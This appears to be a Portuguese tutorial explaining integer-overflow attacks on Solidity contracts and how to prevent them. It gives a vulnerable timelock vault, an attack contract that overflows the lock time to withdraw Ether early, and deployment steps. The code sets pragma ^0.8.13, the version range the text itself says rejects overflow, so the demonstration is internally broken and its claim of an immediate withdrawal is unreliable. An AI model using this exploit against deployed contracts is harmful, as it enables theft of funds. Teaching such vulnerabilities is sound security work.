Nesse artigo iremos aprender a como um contrato malicioso de estouro de memória funciona e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
Nas versões abaixo de 0.8 do Solidity, os valores inteiros (int
) estouram seu limite sem apresentar nenhum erro.
Já nas versões 0.8 ou acima, o Soidity emite um erro para o usuário em caso de tentativa de estourar o inteiro.
A exploração do ataque por estouro, permite que o contrato B
chame A
até que estoure o valor da variável usada por A
, chegando ao ponto de conseguir resgatar um
valor de Ether antes de um prazo estipulado.
Um exemplo de como um ataque funciona:
Este contrato foi projetado para funcionar como um cofre com temporizador.
O usuário pode depositar neste contrato, mas não pode retirar por pelo menos uma semana.
O usuário também pode estender o tempo de espera além do período de espera de 1 semana.
- Implante o TimeLock
- Implante o ataque com o endereço do TimeLock
- Chame
Attack.attack
enviando 1 ether. Você será imediatamente capaz de retirar seu ether.
O que aconteceu?
O ataque causou o estouro do TimeLock.lockTime
e foi capaz de retirar antes do período de espera de 1 semana.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract TimeLock {mapping(address => uint) public balances;mapping(address => uint) public lockTime;function deposit() external payable {balances[msg.sender] += msg.value;lockTime[msg.sender] = block.timestamp + 1 weeks;}function increaseLockTime(uint _secondsToIncrease) public {lockTime[msg.sender] += _secondsToIncrease;}function withdraw() public {require(balances[msg.sender] > 0, "Fundos insuficientes");require(block.timestamp > lockTime[msg.sender], "O tempo de bloqueio não expirou");uint amount = balances[msg.sender];balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Falha ao enviar Ether");}}contract Attack {TimeLock timeLock;constructor(TimeLock _timeLock) {timeLock = TimeLock(_timeLock);}fallback() external payable {}function attack() public payable {timeLock.deposit{value: msg.value}();/*se t = tempo de bloqueio atual, então precisamos encontrar x tal quex + t = 2**256 = 0so x = -t2**256 = type(uint).max + 1so x = type(uint).max + 1 - t*/timeLock.increaseLockTime(type(uint).max + 1 - timeLock.lockTime(address(this)));timeLock.withdraw();}}
Técnicas Preventivas
- Use SafeMath para evitar estouro de variáveis e estouro aritmético
- O padrão do Solidity 0.8+ é lançar um erro para estouro de variáveis / estouro aritmético